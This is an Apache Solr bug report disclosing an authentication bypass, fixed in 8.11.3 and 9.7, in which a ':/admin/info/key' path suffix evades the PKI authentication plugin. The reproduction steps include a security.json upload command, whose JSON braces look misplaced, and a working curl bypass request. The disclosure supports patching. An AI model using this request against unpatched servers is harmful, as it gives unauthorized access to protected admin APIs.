[SOLR-17417] Authentication bypass possible using a fake :/admin/info/key URL Path ending

• Type: Bug
• Status: Closed
• Priority: Blocker
• Resolution: Fixed
• Fix Version/s: 8.11.3, 9.7
• Component/s: Authorization
• Assignee: Houston Putman
• Reporter: Houston Putman
• Created: 21/Aug/24 19:47
• Updated: 21/Oct/24 21:00
• Resolved: 27/Aug/24 20:06

Description

By using ":/admin/info/key" at the end of the URL, the PKIAuthenticationPlugin can be bypassed, so that non-authorized users can access protected APIs.

Reproduction:

1. Start Solr
2. ./zkcli.sh -zkhost localhost:9983 -cmd put /security.json '{"authentication":{"class":"solr.BasicAuthPlugin","credentials":{"solr":"IV0EHq1OnNrj6gvRCwvFwTrZ1+z1oBbnQdiVC3otuq0= Ndd7LKvVBAaZIF0QAVi1ekCfAJXr1GGfLtRUXhgrF8c=","authorization":{"class":"solr.RuleBasedAuthorizationPlugin","permissions":[ {"name":"security-edit","role":"admin"}

   ],"user-role":{"solr":"admin"}}}'}}

3. curl -H "SolrAuth: XXXXX" http://127.0.0.1:8983/solr/admin/info/properties:/admin/info/key

The request should fail, but it will succeed.